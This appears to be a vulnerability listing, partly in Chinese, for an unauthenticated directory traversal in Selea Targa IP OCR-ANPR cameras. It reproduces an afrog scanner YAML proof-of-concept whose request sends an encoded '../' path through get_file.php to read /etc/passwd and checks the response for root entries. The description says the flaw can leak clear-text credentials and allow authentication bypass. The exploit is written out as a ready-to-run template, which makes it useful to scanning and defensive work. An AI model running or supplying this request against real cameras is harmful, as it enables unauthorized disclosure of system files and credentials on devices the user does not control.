selea-targa-camera-lfi: Selea Targa IP OCR-ANPR Camera - Unauthenticated Directory Traversal

漏洞描述

The ANPR camera suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the Download Archive in Storage page using get_file.php script is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks and aid the attacker to disclose clear-text credentials resulting in authentication bypass. app="Selea-ANPR-Camera"

PoC代码[已公开]

id: selea-targa-camera-lfi

info:
  name: Selea Targa IP OCR-ANPR Camera - Unauthenticated Directory Traversal
  author: gy741
  severity: high
  description: |
    The ANPR camera suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the Download Archive in Storage page using get_file.php script is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks and aid the attacker to disclose clear-text credentials resulting in authentication bypass.
    app="Selea-ANPR-Camera"
  reference: 
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5616.php

rules:
    r0:
        request:
            method: GET
            path: /CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
        expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/selea-targa-camera-lfi.yaml